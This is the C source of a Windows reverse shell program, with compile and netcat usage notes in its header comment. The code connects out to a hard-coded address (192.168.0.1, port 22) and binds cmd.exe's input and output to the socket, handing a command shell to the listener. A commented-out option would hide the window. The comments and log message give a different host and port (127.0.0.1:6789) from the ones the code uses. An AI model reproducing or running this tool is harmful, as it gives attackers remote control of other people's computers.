/*
Reverse shell for Windows. Works
without creating pipes by passing
a socket as the in/out pipe to
the child process (cmd.exe)

Written in C by Kyro5

Compile:
Just be sure to link against libWs2_32.a

Use:
Setup a listening port on your box, default=6789.
Example using Netcat:
...> nc -vvv -l -p 6789
then run me.
*/


#include <stdio.h>
#include <windows.h>
#include <winsock2.h>


int main() {
char cmdpath[MAX_PATH];
struct sockaddr_in sin;
WSADATA wd;
int sock;
PROCESS_INFORMATION proc;
STARTUPINFO startup;

/* Setup socket. */
puts("[*] Initializing...");
memset(&sin, 0, sizeof(sin));
WSAStartup(MAKEWORD(1, 1), &wd);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(22);
// sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_addr.s_addr = inet_addr("192.168.0.1");

/* Connect to the h4x0r. */
for(;; ) {
puts("[*] Attempting to connect to 127.0.0.1:6789...");
if (!connect(sock, (struct sockaddr*)&sin, sizeof(sin))) break;
}

/* Start the shell. */
puts("[*] Spawning shell...");
GetEnvironmentVariable("COMSPEC", cmdpath, MAX_PATH);

ZeroMemory(&startup, sizeof(STARTUPINFO));
startup.cb = sizeof(STARTUPINFO);
startup.dwFlags = STARTF_USESTDHANDLES;
/* startup.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
startup.wShowWindow = SW_HIDE; */
startup.hStdInput = startup.hStdOutput = startup.hStdError = (HANDLE)sock;

if (!CreateProcess(0, cmdpath, 0, 0, 1, 0, 0, 0, &startup, &proc))
puts("Unable to create process! Kill yourself.");
puts("[*] I hang here.. why?");
return 0;
}